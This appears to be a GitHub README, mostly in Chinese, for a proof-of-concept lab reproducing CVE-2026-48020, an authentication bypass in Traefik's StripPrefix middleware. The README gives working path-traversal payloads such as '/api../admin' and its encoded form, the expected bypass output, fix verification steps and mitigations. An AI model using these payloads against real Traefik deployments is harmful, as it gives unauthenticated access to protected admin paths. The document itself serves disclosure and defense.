Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

GitHub: Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

复现 Traefik StripPrefix 中间件 CVE-2026-48020 路径规范化认证绕过漏洞的概念验证项目,提供完整实验环境和缓解方案。

Stars: 0 | Forks: 0

# CVE-2026-48020 — Traefik StripPrefix 路由级权限绕过 (PoC) 这是一个针对 **CVE-2026-48020** 的独立概念验证,这是一种路由级 认证/授权绕过漏洞,存在于 Traefik 的 `StripPrefix` middleware 中, 原因是路径规范化发生在路由决策**之后**。 像 `GET /api../admin` 这样的请求在路由阶段会通过*公开的* `PathPrefix(\`/api\`)` 路由器(因此受保护路由器的 `basicAuth` middleware 永远不会被附加),但在 `StripPrefix` 去除 `/api` 并且 Go 的 `req.URL.JoinPath()` 将剩余的 `/../admin` 标准化后, backend 接收到的路径变成了 `/admin` —— 一个本应受到保护的路径。 | | | |---|---| | **CVE** | CVE-2026-48020 | | **GHSA** | GHSA-xf64-8mw2-4gr2 | | **CVSS 3.1 (NVD)** | **10.0 Critical** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`) | | **受影响版本** | Traefik `<= v2.11.46`, `<= v3.6.17`, `<= v3.7.1` | | **修复版本** | `v2.11.48`, `v3.6.19`, `v3.7.3` | ## 实验环境布局 ``` client (poc.py) │ GET /api../admin ← no credentials ▼ Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix (skips) protected router (PathPrefix /admin) + basicAuth │ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin ▼ backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" } ``` ## 文件说明 | 文件 | 用途 | |---|---| | `docker-compose.yml` | 启动一个存在漏洞的 Traefik (`v3.7.1`) + 一个 Python backend | | `dynamic.yml` | Traefik 动态配置:一个公开的 `/api` strip 路由,以及一个受 `basicAuth` 保护的 `/admin`,`/internal` 路由 | | `backend.py` | 一个微型 backend,针对受保护的路径返回一个机密信息 | | `poc.py` | 发送绕过 payload 并报告成功访问了哪些路径 | ## 复现步骤 ``` docker compose up -d --wait # start Traefik v3.7.1 + backend python3 poc.py # run the bypass checks ``` ### 存在漏洞的 Traefik 上的预期输出 ``` [*] Target: http://127.0.0.1:18080 [blocked] direct protected (auth enforced) /admin -> status=401 body=... [blocked] direct protected (auth enforced) /internal/config -> status=401 body=... [safe ] public strip + exclusion (safe) /api/admin -> status=404 body=... [safe ] public strip + exclusion (safe) /api/internal/config -> status=404 body=... [!] BYPASS literal .. /api../admin -> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...} [!] BYPASS encoded %2e%2e /api%2e%2e/admin -> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...} ... ============================================================ [!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation. ``` ### 在已修复的 Traefik (`v3.7.3`) 上 绕过 payload 会返回 **404** 而不是 200。该补丁 (Traefik PR [#13215](https://github.com/traefik/traefik/pull/13215)) 会拒绝任何在经过 `StripPrefix`/`StripPrefixRegex` 规范化后路径发生变化的请求,因此 `/../admin` 重写会被检测到并拒绝。 ## 验证修复 ``` # 将 docker-compose.yml 中的 image tag patch 到固定版本,例如: sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml docker compose up -d --force-recreate python3 poc.py # bypass payloads now return 404 -> "No bypass observed" ``` ## 缓解措施(在不升级的情况下) 完全阻止公开路由匹配到路径遍历的形式: ``` # 要么锚定 prefix 使其后面不能跟随 '..' rule: 'PathRegexp(`^/api(/|$)`) && ...' # 要么使用 trailing-slash prefix + trailing-slash strip PathPrefix(`/api/`) + StripPrefix(`/api/`) ``` ## 漏洞披露 由 **WonYun / kyun0** (GitHub: H4ck2) 报告给 Traefik 维护者; 在 [GHSA-xf64-8mw2-4gr2](https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2) 中修复。 此 PoC 实验环境是为配套文章独立构建的复现:.
标签:CISA项目, Maven, PoC, Traefik, 安全漏洞, 暴力破解, 漏洞验证, 版权保护, 请求拦截, 越权绕过, 路径穿越, 逆向工具